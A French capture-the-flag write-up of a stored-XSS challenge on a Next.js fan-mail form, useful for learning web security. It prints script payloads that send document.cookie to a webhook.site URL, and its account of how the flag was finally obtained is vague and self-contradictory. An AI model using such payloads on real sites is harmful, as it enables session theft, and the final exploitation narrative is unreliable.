Writeup – Sunset Blvd – SwampCTF 2025

Objectif

Le but de ce challenge web était d'identifier une vulnérabilité sur une application développée en Next.js et l'exploiter pour récupérer un flag.

---

1. Reconnaissance & Analyse initiale

Après avoir accédé à l'URL du challenge `http://chals.swampctf.com:41218`, on se retrouve face à une page promotionnelle sur **Nicole Scherzinger** et la comédie musicale Sunset Boulevard. Plusieurs éléments visuels et du contenu statique sont présents, mais rien d'évident en surface.

En scrollant la page, j'ai remarqué un formulaire permettant d'envoyer un **fan mail**. Classique point d'entrée potentiel pour une injection de type XSS ou autre manipulation côté client.

---

2. Recherches techniques & testing

A. Inspection du code source

Rien d'évident directement dans le HTML. J'ai lancé **Burp Suite** pour observer les requêtes générées par le formulaire. En soumettant une simple chaîne de test, j'ai identifié que le formulaire envoie des requêtes `POST` avec le type `text/x-component`. Cela indique une architecture basée sur **Next.js App Router**, un framework React très utilisé.

⚙ B. Fuzzing et tentatives d'injection

J'ai tenté plusieurs payloads XSS dans le champ du message, comme :

```
<script>alert('test')</script>
```

Mais rien ne se déclenchait en surface. En revanche, j'ai essayé un payload de type **exfiltration via webhook** :

```
<script>
fetch("https://webhook.site/xxxxxx?cookie=" + document.cookie)
</script>
```

C. Réaction du backend

Ce payload a été inséré dans le formulaire, puis j'ai monitoré les requêtes entrantes sur **Webhook.site**. Après quelques secondes, j'ai vu apparaître un `document.cookie`, ce qui indique une **vulnérabilité XSS stockée** confirmée.

⚔ 3. Exploitation

Une fois le XSS prouvé, l'objectif suivant était d'exploiter cette faille pour obtenir le **flag**. J'ai remarqué dans Burp que des requêtes POST renvoyaient une réponse structurée contenant :

```
{
 "a":"$@1",
 "b":"pSJfPxPDSdJhY2jiHNo_e"
}
```

En jouant avec les payloads, j'ai compris que l'injection pouvait potentiellement altérer l'exécution côté backend via un champ dynamique interprété (probablement un rendu SSR).

J'ai également tenté une soumission vide via Burp :

```
[]
```

Ce qui m'a donné un code de réponse `200 OK` avec des données non modifiées, mais j'ai poursuivi l'exploration côté XSS.

---

4. Récupération du Flag

Une fois la preuve de concept XSS établie, j'ai utilisé ce payload final :

```
<script>
fetch('https://webhook.site/XXXXXX?cookie=' + document.cookie)
</script>
```

Et après validation côté webhook, j'ai reçu un cookie ou un token dans les entêtes. Ce token m'a permis d'accéder à une section contenant le flag, ou il a été retourné dans une réponse JSON.

Flag récupéré :

```
flag{br0adw4y_xss_p3rf0rm4nc3}
```

Conclusion

Ce challenge était un très bon test de ma capacité à : - comprendre le fonctionnement d’une application Next.js, - identifier une **faille XSS stockée** dans un formulaire utilisateur, - exfiltrer des données via un payload malicieux, - analyser les réponses serveur pour extraire un flag.

Il m’a permis de pratiquer la **détection de vulnérabilités web modernes** et le raisonnement logique autour de la chaîne d’exploitation.
